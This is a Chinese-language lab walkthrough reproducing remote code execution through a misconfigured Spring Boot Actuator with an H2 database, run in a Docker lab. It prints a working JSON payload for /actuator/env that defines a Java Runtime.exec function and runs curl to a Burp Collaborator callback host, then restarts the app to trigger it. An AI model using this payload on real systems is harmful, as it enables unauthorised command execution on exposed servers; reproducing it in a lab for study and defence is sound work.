0x00 前言

Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。

0x01 环境搭建

(1) 克隆github上的项目

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

Spring Boot Actuator H2 RCE复现-LMLPHP

(2) 使用docker启动环境

先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令

docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

Spring Boot Actuator H2 RCE复现-LMLPHP

(3) 访问:http://192.168.222.143:8080/actuator

Spring Boot Actuator H2 RCE复现-LMLPHP

0x02 漏洞复现

(1)发送如下POST包配置spring.datasource.hikari.connection-test-query的值

POST /actuator/env HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 393

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}

(2)查看/actuator/env

Spring Boot Actuator H2 RCE复现-LMLPHP

(3)向端点 /actuator/restart 发送POST请求,重启应用

POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2

{}

(4) 查看dnslog可以看到成功执行命令收到请求

Spring Boot Actuator H2 RCE复现-LMLPHP

05-05 17:33